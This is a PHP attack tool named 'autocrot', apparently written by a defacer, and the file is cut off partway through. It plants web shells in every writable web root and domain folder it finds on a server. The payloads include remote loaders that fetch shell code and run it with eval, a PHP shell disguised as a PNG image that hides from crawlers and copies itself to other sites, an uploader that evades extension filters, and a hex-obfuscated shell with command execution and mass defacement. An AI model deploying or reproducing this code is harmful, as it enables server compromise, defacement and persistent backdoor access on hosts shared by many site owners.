/** * Project: autocrot - gajeproject | 6ickzone * Author: 0x6ick * info: Multi-Server Auto Deployer * Contact: t.me/yungx6ick | Email: spammersuy13@gmail.com */ini_set('display_errors', 1);error_reporting(E_ALL);// Configuration$folderName = '0x0';// Generate all deployment files$files = [ 'index.html' => genHTML(), 'index.php' => wtfexp(), 'readme.txt' => genTXT(), 'otw.php' => genPHP(), 'update.php' => update(), 'update.php7' => update(), 'upme.php' => genUploader(), 'upme.phtml' => genUploader(), 'spm.php' => create_fake_png_php(), 'sempax.php' => sempak(), 'admin.php' => wtfexp(), 'sempax.php7' => sempak(), 'spm.phtml' => create_fake_png_php(),];// Locate possible public_html roots or domain-like foldersfunction locateRoots($start) { $roots = []; $dir = realpath($start); while ($dir && $dir !== '/') { if (is_dir($dir."/public_html")) $roots[] = $dir."/public_html"; foreach (glob($dir."/*", GLOB_ONLYDIR) as $sub) { if (preg_match('/\.[a-z]+$/', basename($sub))) $roots[] = $sub; } $dir = dirname($dir); } return array_unique($roots);}// Deploy files to all detected pathsfunction deployFolder($folderName, $files) { $roots = locateRoots(__DIR__); $deployedUrls = []; foreach ($roots as $htmlPath) { if (is_writable($htmlPath)) { $targetDir = "$htmlPath/$folderName"; if (!is_dir($targetDir)) @mkdir($targetDir, 0777, true); foreach ($files as $fileName => $content) { $filePath = "$targetDir/$fileName"; if (@file_put_contents($filePath, $content) !== false) { $filePathReal = realpath($filePath); $docRootReal = realpath($_SERVER['DOCUMENT_ROOT']); $scheme = $_SERVER['REQUEST_SCHEME'] ?? 'https'; if ($filePathReal && $docRootReal && str_starts_with($filePathReal, $docRootReal)) { // masih di root web utama $relativePath = '/' . ltrim(str_replace($docRootReal, '', $filePathReal), '/'); $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $url = "$scheme://$host$relativePath"; } else { // ambil domain/subdomain dari nama folder yang mirip domain $maybeDomain = basename($htmlPath); if (preg_match('/^[a-z0-9.-]+\.[a-z]{2,}$/i', $maybeDomain)) { $url = "$scheme://$maybeDomain/$folderName/$fileName"; } else { // kalau belum juga, cek parent folder $parent = basename(dirname($htmlPath)); if (preg_match('/^[a-z0-9.-]+\.[a-z]{2,}$/i', $parent)) { $url = "$scheme://$parent/$folderName/$fileName"; } else { // fallback terakhir: path fisik $url = $filePathReal; } } } $deployedUrls[] = $url; } } } } return $deployedUrls;}function genHTML() { return <<<HTML<!DOCTYPE html><html lang="en"><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">Stamped by 0x6ick<title>Stamped by 0x6ick</title><link rel="icon" href="https://0x6ick.my.id/favicon.ico" type="image/x-icon"><style>body{margin:0;padding:0;height:100vh;display:flex;flex-direction:column;justify-content:center;align-items:center;font-family:monospace;background:#fff;color:#333;text-align:center}img{max-width:250px;border-radius:10px;margin-bottom:15px}h1{color:#00bcd4;margin:5px 0}h2{color:#f50057;margin:5px 0 15px}p{margin:8px 0;font-size:14px}.footer{position:fixed;bottom:10px;left:0;width:100%;text-align:center;font-size:13px;color:#00bcd4}a{color:#00bcd4;text-decoration:none}</style><div class="content"><img src="https://i.imgur.com/y7BGFy3.jpeg" alt="image">

StampeD by 0x6ick

Ex 5YN15T3R_742

<p>6ickZone: Where creativity, exploitation, and expression collide.</p></div><a href="https://linktr.ee/6ickzone" target="_blank">MyLink</a><div class="footer">0x6ick - 6ickZone</div>HTML;}function genTXT(){ return "Stamped By 0x6ick aka 5YN15T3R_742 - 6ickZone---------------------------------------------Auto Crot-GajeProjectVersion: v9.9.9 Max Crot Banyak - 2025t.me/yungx6ick";}function genPHP(){ return <<<'PHP'/** * WP-Loader.php * * Universal PHP Loader Collection * * @package WP-Loader * @author 0x6ick <spamersuy13@gmail.com> * @license DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE (WTFPL) v2 * @version 1.0.0 */session_start();@ini_set('display_errors', 0);@set_time_limit(0);@error_reporting(0);// Ambil mode dari query string ?m=<mode>if (isset($_GET['m'])) { $_SESSION['loader_mode'] = $_GET['m'];}$mode = $_SESSION['loader_mode'] ?? 'h';// Reset session kalau mode 'h'if ($mode === 'h') { session_unset();}// --- SWITCH MODE ---switch($mode){ // --- Loader 1: cURL --- case "curl": $url = 'https://raw.githubusercontent.com/6ickzone/0x6ickShell-Manager/refs/heads/main/VoidGateDx.php'; $code = @file_get_contents($url); if ($code === false || empty($code)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; PHP Script)'); $code = curl_exec($ch); curl_close($ch); } if ($code) eval("$code"); break; // --- Loader 2: Refactored cURL (robust + fallback) ---case "curlman": function load_content() { // dua varian URL (canonical + refs/heads) $base = 'https://raw.githubusercontent.com/6ickzone/Gaje-Project'; $path = 'kerang/explo.php'; $urls = [ "$base/main/$path", // canonical raw URL (recommended) "$base/refs/heads/main/$path" // older style (sometimes works) ]; $data = ''; $lastHttpCode = 0; $tried = []; foreach ($urls as $target_url) { $tried[] = $target_url; // try curl if available if (function_exists('curl_init')) { $ch = curl_init($target_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; StealthLoader/1.0)' ]); $resp = curl_exec($ch); $info = curl_getinfo($ch); $lastHttpCode = $info['http_code'] ?? 0; curl_close($ch); if ($resp !== false && $lastHttpCode >= 200 && $lastHttpCode < 300 && !empty($resp)) { $data = $resp; break; } } // fallback: file_get_contents with stream context $ctx = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: Mozilla/5.0 (compatible; StealthLoader/1.0)\r\n", 'timeout' => 10 ], 'ssl' => ['verify_peer'=>false, 'verify_peer_name'=>false] ]); $resp2 = @file_get_contents($target_url, false, $ctx); if ($resp2 !== false) { $data = $resp2; // try to derive HTTP code from $http_response_header if available if (isset($http_response_header) && preg_match('#HTTP/\d+\.\d+\s+(\d+)#', $http_response_header[0], $m)) { $lastHttpCode = (int)$m[1]; } if ($lastHttpCode >= 200 && $lastHttpCode < 300) break; // if no header info, but we got content, still accept if ($lastHttpCode === 0) break; } } // final: either we got data or not if ($data) { try { eval("$data"); } catch (Throwable $e) { echo "<pre> Loader Error (eval): {$e->getMessage()}</pre>"; } } else { echo "<pre> Failed to fetch content from remote. Tried:\n"; foreach ($tried as $u) echo " - $u\n"; echo "\nLast HTTP code: $lastHttpCode\n"; echo "Tip: open the first URL in browser to confirm path is correct.\n</pre>"; } } load_content(); break; // --- Loader 3: TMP File --- case "tmp": $payload_url = 'https://raw.githubusercontent.com/6ickzone/0x6ickShell-Manager/refs/heads/main/bypass.php'; $tmp_path = '/tmp/.sess_' . substr(md5($_SERVER['HTTP_HOST']), 0, 10) . '.php'; if (isset($_GET['reload']) || !file_exists($tmp_path) || filesize($tmp_path) == 0) { $payload = file_get_contents($payload_url); if (stripos($payload, '') !== false) { file_put_contents($tmp_path, $payload); usleep(300000); } } if (file_exists($tmp_path) && filesize($tmp_path) > 0) include_once($tmp_path); break; // --- Loader 4: Cache File --- case "cache": $tmp = 'cache_ym.php'; $url = 'https://raw.githubusercontent.com/6ickzone/0x6NyxWebShell/refs/heads/main/yami.php'; if (!file_exists($tmp) || filesize($tmp) < 10) { $code = file_get_contents($url); file_put_contents($tmp, $code); } include($tmp); unlink($tmp); break; // --- Loader 5: cURL v2 --- case "curlv2": $Url = 'https://raw.githubusercontent.com/6ickzone/0x6NyxWebShell/refs/heads/main/void.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $Url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); if ($output) { eval(''.$output); } break; // --- Loader 6: WGET + Include --- case "wget": $url = 'https://raw.githubusercontent.com/6ickzone/0x6ickShell-Manager/refs/heads/main/simplebypass.php'; $tmp_file = '/tmp/sess_'.md5($url).'.php'; if(is_executable('/usr/bin/wget')) { $command = "/usr/bin/wget -q -O $tmp_file $url"; } else { $command = "/usr/bin/curl -s -o $tmp_file $url"; } @shell_exec($command); if (file_exists($tmp_file) && filesize($tmp_file) > 0) { include($tmp_file); unlink($tmp_file); } else { echo "Error: Failed to download file or shell_exec is disabled."; } break; // --- Loader 7: Socket --- case "socket": $host = 'raw.githubusercontent.com'; $path = '/6ickzone/0x6ickShell-Manager/refs/heads/main/yami.php'; $port = 443; $fp = @fsockopen("ssl://" . $host, $port, $errno, $errstr, 10); if ($fp) { $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $body = substr($response, strpos($response, "\r\n\r\n") + 4); if (!empty($body)) { eval("$body"); } else { echo "Error: Failed to get content via socket."; } } else { echo "Error: Could not open socket to $host ($errstr)"; } break; // --- Contact / Credits --- case "telegram": echo '<div style="font-family: monospace; text-align: center; margin-top: 20px;">'; echo '<strong>WARNING! This tools auto generated by autocrot - GajeProject.</strong>

'; echo 'Contact Author:
'; echo '<a href="https://t.me/Yungx6ick" target="_blank" style="color: lightblue; text-decoration: underline;">6ickzone</a>'; echo '

<a href="?m=h" style="color: white;">&larr; Back to Menu</a>'; echo '</div>'; break; // --- MAIN MENU --- default: echo "

Loader Panel

"; echo "Select loader mode via ?m=
"; echo "- <a href='?m=curl'>curl</a>
"; echo "- <a href='?m=curlman'>curlman (refactored)</a>
"; echo "- <a href='?m=tmp'>tmp</a>
"; echo "- <a href='?m=cache'>cache</a>
"; echo "- <a href='?m=curlv2'>curlv2</a>
"; echo "- <a href='?m=wget'>wget</a>
"; echo "- <a href='?m=socket'>socket</a>
"; echo "- <a href='?m=telegram'>Author / Contact</a>
"; echo "<hr>To return to this menu, use <a href='?m=h'>?m=h</a>";}PHP;}// === Special File: PNG Header + PHP Payload + Trailer ===function create_fake_png_php() { $pngHeader = "\x89PNG\x0D\x0A\x1A\x0A"; // PNG magic bytes $jfif = "\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00"; // Fake JPEG marker $phpPayload = <<<'PHP'error_reporting(0);/* Simple + Bypass + Copy — NyX6st (6ickzone) — https://0x6ick.my.id * Version: 1.0.0 * SPDX-License-Identifier: WTFPL * * "You just DO WHAT THE FUCK YOU WANT TO." * Respect the author. */error_reporting(0); if (!empty($_SERVER['HTTP_USER_AGENT'])) { $bots = ['Googlebot', 'Slurp', 'MSNBot', 'PycURL', 'facebookexternalhit', 'ia_archiver', 'crawler', 'Yandex', 'Rambler', 'Yahoo! Slurp', 'YahooSeeker', 'bingbot', 'curl']; if (preg_match('/' . implode('|', $bots) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; }}// === Configuration === function findAllWebRoots($userRoot = "/home/*") { $candidates = ['public_html', 'public', 'www', 'htdocs']; $roots = []; foreach (glob($userRoot, GLOB_ONLYDIR) as $home) { foreach ($candidates as $folder) { $path = "$home/$folder"; if (is_dir($path)) { $roots[] = $path; } } } return $roots;}function deployMulti($sourceFile, $targetName) { $targets = []; $roots = findAllWebRoots(); foreach ($roots as $htmlPath) { if (is_writable($htmlPath)) { $targetPath = "$htmlPath/$targetName"; if (@copy($sourceFile, $targetPath)) { $domain = basename(dirname($htmlPath)); $targets[] = "$htmlPath/$targetName"; //change } } } return $targets;}$self = __FILE__;$urls = deployMulti($self, "self.php");print_r($urls);$cwd = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();if (!$cwd || !is_dir($cwd)) $cwd = getcwd();if (isset($_GET['action'])) { $action = $_GET['action']; $item = $cwd . '/' . basename($_GET['item']); if ($action === 'delete' && file_exists($item)) { if (is_dir($item)) { if (count(scandir($item)) == 2) { // Cek rmdir($item); } else { echo "<p style='color:#f66'>Gagal: Folder tidak kosong Cok!.</p>"; } } else { unlink($item); } header("Location: ?path=" . urlencode($cwd)); exit; } if ($action === 'rename' && file_exists($item) && isset($_POST['new_name'])) { $newName = $cwd . '/' . basename($_POST['new_name']); rename($item, $newName); header("Location: ?path=" . urlencode($cwd)); exit; } if ($action === 'download' && is_file($item)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($item) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($item)); readfile($item); exit; }}if (!empty($_FILES['upload']['name'])) { $target = $cwd . '/' . basename($_FILES['upload']['name']); move_uploaded_file($_FILES['upload']['tmp_name'], $target); echo "<p style='color:#0f0'>Berhasil Ajg: " . htmlspecialchars($_FILES['upload']['name']) . "</p>";}if (!empty($_POST['newdir'])) { $newFolder = $cwd . '/' . basename($_POST['newdir']); if (!file_exists($newFolder)) { mkdir($newFolder); echo "<p style='color:#0f0'>Folder berhasil dibuat leh ugha</p>"; } else { echo "<p style='color:#f66'>Gagal: Folder sudah ada akmj.</p>"; }}<!DOCTYPE html><html lang="id"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <style> body { background: #000000; color: #ffffff; font-family: 'Courier New', monospace; padding: 20px; } a { color: #fffffff; text-decoration: none; transition: all 0.2s; } a:hover { color: #ff0000; text-decoration: underline; } textarea, input[type=text] { width: 100%; font-family: monospace; background: transparent; color: #ffffff; border: none; border-bottom: 2px solid #aaaaaa; padding: 10px 4px; box-sizing: border-box; border-radius: 0; margin-bottom: 10px; transition: all 0.2s; } textarea:focus, input[type=text]:focus { outline: none; border-bottom-color: #ff0000; } input[type=submit] { background: #ff0000; color: #ffffff; border: 2px solid #ff0000; padding: 10px 15px; border-radius: 0; cursor: pointer; font-weight: bold; text-transform: uppercase; transition: all 0.2s; letter-spacing: 1px; } input[type=submit]:hover { background: #ffffff; color: #ff0000; border: 2px solid #ff0000; } .file-manager-container { display: flex; flex-direction: column; gap: 15px; } table { width: 100%; border-collapse: collapse; background: #111; } th, td { padding: 12px; text-align: left; border-bottom: 1px dashed #ff0000; } th { background-color: #111; font-weight: bold; color: #ff0000; text-transform: uppercase; } tr:last-child td { border-bottom: none; } tr:hover { background-color: #222222; } .actions a { margin-right: 10px; color: #ffffff; font-weight: bold; } .actions a:hover { color: #ff0000; } .actions a.delete { color: #ff0000; } .actions a.delete:hover { color: #ffffff; } .actions a.download { color: #ffffff; } .actions a.download:hover { color: #ff0000; }</style>

File Manager

<p>Path: $parts = explode('/', trim($cwd, '/')); $build = '/'; foreach ($parts as $part) { $build .= "$part/"; echo "<a href='?password=$password&path=" . urlencode($build) . "'>$part</a>/"; } echo "</p><hr>"; // --- File Editor --- if (isset($_GET['edit'])) { $file = realpath($cwd . '/' . basename($_GET['edit'])); if (is_file($file)) { if (isset($_POST['content'])) { file_put_contents($file, $_POST['content']); echo "<p style='color:#0f0'>Save</p>"; } $code = htmlspecialchars(file_get_contents($file)); echo "

Grepe: " . basename($file) . "

<textarea name='content' rows='20'>$code</textarea>
<input type='submit' value='Simpan'>
<p><a href='?password=$password&path=" . urlencode($cwd) . "'>BACK</a></p>"; exit; } } <div class="file-manager-container"> <thead> <th>Name</th> <th>Size</th> <th>Perms</th> <th>Date</th> <th>Action</th> </thead> <tbody> foreach (scandir($cwd) as $item) { if ($item === '.') continue; $full = $cwd . '/' . $item; $encodedPath = urlencode($cwd); if (is_dir($full)) { echo ""; echo "<td data-label='Nama'>[FD] <a href='?password=$password&path=" . urlencode($full) . "'>" . htmlspecialchars($item) . "</a>"; echo "<td data-label='Ukuran'>-"; echo "<td data-label='Izin'>" . substr(sprintf('%o', fileperms($full)), -4) . ""; echo "<td data-label='Dimodifikasi'>" . date("Y-m-d H:i", filemtime($full)) . ""; echo "<td data-label='Aksi' class='actions'>"; echo "<a href='?password=$password&path=$encodedPath&action=delete&item=" . urlencode($item) . "' class='delete' onclick='return confirm(\"Yakin hapus folder ini?\")'>[Hapus]</a>"; echo ""; echo ""; } else { echo ""; echo "<td data-label='Nama'>[FD] <a href='?password=$password&path=$encodedPath&edit=" . urlencode($item) . "'>" . htmlspecialchars($item) . "</a>"; echo "<td data-label='Ukuran'>" . round(filesize($full) / 1024, 2) . " KB"; echo "<td data-label='Izin'>" . substr(sprintf('%o', fileperms($full)), -4) . ""; echo "<td data-label='Dimodifikasi'>" . date("Y-m-d H:i", filemtime($full)) . ""; echo "<td data-label='Aksi' class='actions'>"; echo "<a href='?password=$password&path=$encodedPath&edit=" . urlencode($item) . "'>[Edit]</a>"; echo "<a href='?password=$password&path=$encodedPath&action=download&item=" . urlencode($item) . "' class='download'>[Unduh]</a>"; echo " <input type='hidden' name='new_name' id='newName_$item'> <a href='#' onclick='let newName = prompt(\"Ganti nama:\", \"$item\"); if(newName){ document.getElementById(\"newName_$item\").value=newName; document.getElementById(\"renameForm_$item\").submit(); }'>[Rename]</a>"; echo "<a href='?password=$password&path=$encodedPath&action=delete&item=" . urlencode($item) . "' class='delete' onclick='return confirm(\"Yakin hapus file ini?\")'>[Hapus]</a>"; echo ""; echo ""; } } </tbody>
</div> <hr> <div style="display:flex; gap: 20px; flex-wrap: wrap;"> <div style="flex:1;">
<label> Upload File:</label>
<input type='file' name='upload'>
<input type='hidden' name='password' value=' echo htmlspecialchars($password); '> <input type='submit' value='Unggah'>
</div> <div style="flex:1;">
<label> make folder:</label>
<input type='text' name='newdir'>
<input type='hidden' name='password' value=' echo htmlspecialchars($password); '> <input type='submit' value='Buat'>
</div> </div>PHP; $trailer = "nTJnLK@!-\x0Cm"; return $pngHeader . $jfif . $phpPayload . $trailer;}function genUploader() { return <<<'PHP'/* * upme.php – Bypass File Uploader (Simple) * By 0x6ick - 6ickZone */// Password untuk proteksi aksesdefine("PASS", "upme123");if (!isset($_GET['key']) || $_GET['key'] !== PASS) { http_response_code(403); die("<pre> Forbidden.</pre>");}// Lokasi upload$dir = __DIR__ . '/files/';if (!is_dir($dir)) mkdir($dir, 0755, true);$bypassExtensions = ['phtml', 'phar', 'php7', 'php3', 'php4', 'php5', 'pHp', 'pHtml'];$msg = '';// Handle upload fileif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $name = basename($_FILES['file']['name']); $tmp = $_FILES['file']['tmp_name']; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); $base = pathinfo($name, PATHINFO_FILENAME); if ($ext === 'php') { $ext = $bypassExtensions[array_rand($bypassExtensions)]; $name = "$base.$ext"; } $finalPath = $dir . $name; // Upload if (move_uploaded_file($tmp, $finalPath)) { $url = dirname($_SERVER['SCRIPT_NAME']) . "/files/$name"; $msg = "<pre style='color:#0f0;'>Success: <a href='$url' target='_blank'>Open</a></pre>"; } else { $msg = "<pre style='color:#f00;'>Upload failed.</pre>"; }}<!DOCTYPE html>Bypass Uploader <title>Bypass Uploader</title> <style> body { font-family: monospace; background: #000; color: #0f0; padding: 20px; } input { margin: 5px 0; } a { color: cyan; text-decoration: none; } </style>

Bypass Uploader

= $msg
<input type='file' name='file'>
<input type='submit' value='Upload'>
<pre>Access Key: = htmlspecialchars(PASS) </pre>PHP;}function update() { return <<<'PHP'error_reporting(0);if (isset($_REQUEST["done"])) { die(">byebye<");}if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['6ickzone'])) { $_SESSION['6ickzone'] = false; } if (!$_SESSION['6ickzone']) { if (isset($_POST['0x6ick']) && hash('sha256', $_POST['0x6ick']) == '1b5d6904c727bbaa3abb54d920b13d1e0a27e5718011c4e479182463aabd8bef') { $_SESSION['6ickzone'] = true; } else { die('<meta charset="utf-8"><title></title> <style>body{padding:10px}input{padding:2px;margin-right:5px}</style>
'); } }}/** * ヤミRoot series bypass mode by Nyx6st x 0x6ick | Copyright 2025 by 6ickwhispers@gmail.com * * ================================================================= *name : ヤミRoot *github :/6ickzone *blog :0x6ick.my.id ================================================================= */// --- HEX-ENCODED FUNCTION ARRAY & DECODER ---$f = [ "6572726f725f7265706f7274696e67", "73657373696f6e5f7374617274", "696e695f736574", "686561646572", "6f625f656e645f636c65616e", "626173656e616d65", "66756e6374696f6e5f657869737473", "65786563", "696d706c6f6465", "7368656c6c5f65786563", "7061737374687275", "6f625f7374617274", "6f625f6765745f636c65616e", "73797374656d", "66696c657065726d73", "737072696e7466", "66696c655f657869737473", "69735f646972", "756e6c696e6b", "7363616e646972", "726d646972", "737562737472", "687474705f6275696c645f7175657279", "7265616c70617468", "676574637764", "7374725f7265706c616365", "69735f7772697461626c65", "66696c655f7075745f636f6e74656E7473", "68746d6c7370656369616c6368617273", "636f7079", "636c6173735f657869737473", "64617465", "6469726e616d65", "7374726c656e", "63686d6f64", "6f6374646563", "72656e616d65", "6d6b646972", "75726c656e636f6465", "676574686f737462796e616d65", "7068705f756e616d65", "6578706c6f6465", "7472696d", "69735f66696c65", "726f756e64", "66696c6573697a65", "69735f7265616461626c65", "75736f7274", "73747263617365636d70", "70617468696e666f", "66696c655f6765745f636f6e74656e7473" ];foreach ($f as $k => $v) { $f[$k] = hex2bin($v); } unset($k, $v);$f[0](0);$f[1]();@$f[2]('output_buffering', 0);@$f[2]('display_errors', 0);$f[2]('memory_limit', '256M');$f[3]('Content-Type: text/html; charset=UTF-8');$f[4]();// --- CONFIG ---$title = "ヤミRootヤ";$author = "0x6ick";$theme_bg = "black";$theme_fg = "#00FFFF";$theme_highlight = "#00FFD1";$theme_link = "#00FFFF";$theme_link_hover = "#FFFFFF";$theme_border_color = "#00FFFF";$theme_table_header_bg = "#191919";$theme_table_row_hover = "#333333";$theme_input_bg = "black";$theme_input_fg = "#00FFFF";$font_family = "'Kelly Slab', cursive";$message_success_color = "#00CCFF";$message_error_color = "red";// --- FUNCTIONS ---function sanitizeFilename($filename) { global $f; return $f[5]($filename);}function exe($cmd) { global $f; if ($f[6]('exec')) { $f[7]($cmd . ' 2>&1', $output); return $f[8]("\n", $output); } elseif ($f[6]('shell_exec')) { return $f[9]($cmd); } elseif ($f[6]('passthru')) { $f[11](); $f[10]($cmd); return $f[12](); } elseif ($f[6]('system')) { $f[11](); $f[13]($cmd); return $f[12](); } return "Command execution disabled.";}function perms($file){ global $f; $perms = @$f[14]($file); if ($perms === false) return '????'; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info;}function delete_recursive($target) { global $f; if (!$f[16]($target)) return true; if (!$f[17]($target)) return $f[18]($target); foreach ($f[19]($target) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_recursive($target . DIRECTORY_SEPARATOR . $item)) return false; } return $f[20]($target);}function zip_add_folder($zip, $folder, $base_path_length) { global $f; $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $file) { if (!$file->isDir()) { $file_path = $file->getRealPath(); $relative_path = $f[21]($file_path, $base_path_length); $zip->addFile($file_path, $relative_path); } }}function redirect_with_message($msg_type = '', $msg_text = '', $current_path = '') { global $path, $f; $redirect_path = !empty($current_path) ? $current_path : $path; $params = ['path' => $redirect_path]; if ($msg_type) $params['msg_type'] = $msg_type; if ($msg_text) $params['msg_text'] = $msg_text; $f[3]("Location: ?" . $f[22]($params)); exit();}// --- INITIAL SETUP & PATH ---$path = $f[23](isset($_GET['path']) ? $_GET['path'] : $f[24]());$path = $f[25]('\\','/',$path);// --- HANDLERS FOR ACTIONS THAT REDIRECT ---if(isset($_POST['start_mass_deface'])) { $mass_deface_results = ''; function mass_deface_recursive($dir, $file, $content, &$res) { global $f; if(!$f[26]($dir)) {$res .= "[<font color=red>FAILED</font>] ".$f[28]($dir)." (Not Writable)
"; return;} foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if($f[17]($lokasi)) { if($f[26]($lokasi)) { $f[27]($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[<font color=lime>DONE</font>] ".$f[28]($lokasi.DIRECTORY_SEPARATOR.$file)."
"; mass_deface_recursive($lokasi, $file, $content, $res); } else { $res .= "[<font color=red>FAILED</font>] ".$f[28]($lokasi)." (Not Writable)
"; } } } } function mass_deface_flat($dir, $file, $content, &$res) { global $f; if(!$f[26]($dir)) {$res .= "[<font color=red>FAILED</font>] ".$f[28]($dir)." (Not Writable)
"; return;} foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if($f[17]($lokasi) && $f[26]($lokasi)) { $f[27]($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[<font color=lime>DONE</font>] ".$f[28]($lokasi.DIRECTORY_SEPARATOR.$file)."
"; } } } if($_POST['tipe_sabun'] == 'mahal') mass_deface_recursive($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); else mass_deface_flat($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); $_SESSION['feature_output'] = $mass_deface_results; redirect_with_message('success', 'Mass Deface Selesai!', $path);}if(isset($_FILES['file_upload'])){ $file_name = sanitizeFilename($_FILES['file_upload']['name']); if($f[29]($_FILES['file_upload']['tmp_name'], $path.'/'.$file_name)) redirect_with_message('success', 'UPLOAD SUCCESS: ' . $file_name, $path); else redirect_with_message('error', 'File Gagal Diupload !!', $path);}// MODIFIED: Bulk action handler logicif (isset($_POST['bulk_action']) && isset($_POST['selected_files'])) { $action = $_POST['bulk_action']; $selected_files = $_POST['selected_files']; // Handle Zip Action if ($action === 'zip_selected' && $f[30]('ZipArchive')) { $zip_filename = 'archive_' . $f[31]('Y-m-d_H-i-s') . '.zip'; $zip_filepath = $path . DIRECTORY_SEPARATOR . $zip_filename; $zip = new ZipArchive(); if ($zip->open($zip_filepath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($selected_files as $file) { $file_path = $f[23]($file); if ($f[43]($file_path)) $zip->addFile($file_path, $f[5]($file_path)); elseif ($f[17]($file_path)) zip_add_folder($zip, $file_path, $f[33]($f[32]($file_path) . DIRECTORY_SEPARATOR)); } $zip->close(); redirect_with_message('success', 'File berhasil di-zip ke: ' . $zip_filename, $path); } else { redirect_with_message('error', 'Gagal membuat file zip!', $path); } } // ADDED: Handle Delete Action elseif ($action === 'delete_selected') { foreach ($selected_files as $file_to_delete) { delete_recursive($file_to_delete); } redirect_with_message('success', 'Item yang dipilih berhasil dihapus.', $path); }}if(isset($_GET['option']) && isset($_POST['opt_action'])){ $target_full_path = $_POST['path_target']; $action = $_POST['opt_action']; $current_dir = $f[23](isset($_GET['path']) ? $_GET['path'] : $f[24]()); switch ($action) { case 'delete': if (delete_recursive($target_full_path)) redirect_with_message('success', 'DELETE SUCCESS !!', $current_dir); else redirect_with_message('error', 'Gagal menghapus! Periksa izin.', $current_dir); break; case 'chmod_save': if($f[34]($target_full_path, $f[35]($_POST['perm_value']))) redirect_with_message('success', 'CHMOD SUCCESS !!', $current_dir); else redirect_with_message('error', 'CHMOD Gagal !!', $current_dir); break; case 'rename_save': $new_full_path = $f[32]($target_full_path).'/'.sanitizeFilename($_POST['new_name_value']); if($f[36]($target_full_path, $new_full_path)) redirect_with_message('success', 'RENAME SUCCESS !!', $current_dir); else redirect_with_message('error', 'RENAME Gagal !!', $current_dir); break; case 'edit_save': if($f[26]($target_full_path)) { if($f[27]($target_full_path, $_POST['src_content'])) redirect_with_message('success', 'EDIT SUCCESS !!', $current_dir); else redirect_with_message('error', 'Edit File Gagal !!', $current_dir); } else { redirect_with_message('error', 'File tidak writable!', $current_dir); } break; case 'extract_save': if ($f[30]('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($target_full_path) === TRUE) { $zip->extractTo($current_dir); $zip->close(); redirect_with_message('success', 'File berhasil diekstrak!', $current_dir); } else { redirect_with_message('error', 'Gagal membuka file zip!', $current_dir); } } else { redirect_with_message('error', 'Class ZipArchive tidak ditemukan!', $current_dir); } break; }}if(isset($_GET['create_new'])) { $target_path_new = $path . '/' . sanitizeFilename($_POST['create_name']); if ($_POST['create_type'] == 'file') { if (@$f[27]($target_path_new, '') !== false) redirect_with_message('success', 'File Baru Berhasil Dibuat', $path); else redirect_with_message('error', 'Gagal membuat file baru!', $path); } elseif ($_POST['create_type'] == 'dir') { if (@$f[37]($target_path_new)) redirect_with_message('success', 'Folder 